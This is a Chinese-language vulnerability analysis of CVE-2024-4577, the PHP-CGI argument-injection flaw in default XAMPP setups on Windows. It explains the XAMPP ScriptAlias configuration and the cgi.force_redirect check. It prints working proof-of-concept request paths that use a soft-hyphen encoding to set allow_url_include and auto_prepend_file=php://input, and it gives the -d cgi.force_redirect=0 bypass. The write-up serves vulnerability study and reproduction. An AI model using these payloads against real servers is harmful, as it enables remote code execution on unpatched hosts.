在CVE-2024-4577的poc中可以看到多了一个参数选项cgi.force_redirect。因为PHP增加了一个默认开启的配置cgi.force_redirect=1,仅允许通过重定向规则的请求来执行PHP CGI,不允许直接访问执行,要绕过这一特性,可以采取以下方法:

既然已经通过-d参数成功修改了其他配置,那么同样可以直接使用-d参数将cgi.force_redirect的值改为0,从而关闭这一重定向规则限制。

image

默认配置的XAMPP受影响的原因:

在 \conf\extra\httpd-xampp.conf 中存在如下的配置项

1
2
3
4
5
6
7
8
9
ScriptAlias /php-cgi/ "/xampp/php/"
<Directory "/xampp/php">
AllowOverride None
Options None
Require all denied
<Files "php-cgi.exe">
Require all granted
</Files>
</Directory>

ScriptAlias指令的意义是当用户访问网站的/php-cgi/路径时,将请求映射到了本地的/xampp/php/目录。这个目录包含了PHP环境的所有文件和组件,而该目录下就包含有php-cgi.exe程序。

当我们使用最早公开的poc,发现并不能复现

1
2
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

image

原因就是为了验证请求是通过Web服务器的Action指令发起的,而不是用户直接对php-cgi进行的请求,php-cgi设置了“cgi.force_redirect”这一安全特性。该特性默认开启,它确保只有遵循特定重定向流程的请求才会被php-cgi处理,这样可以有效避免直接对php-cgi的潜在不当访问,于是在POC中添加-d cgi.force_redirect=0关闭这个校验规则,就可绕过限制。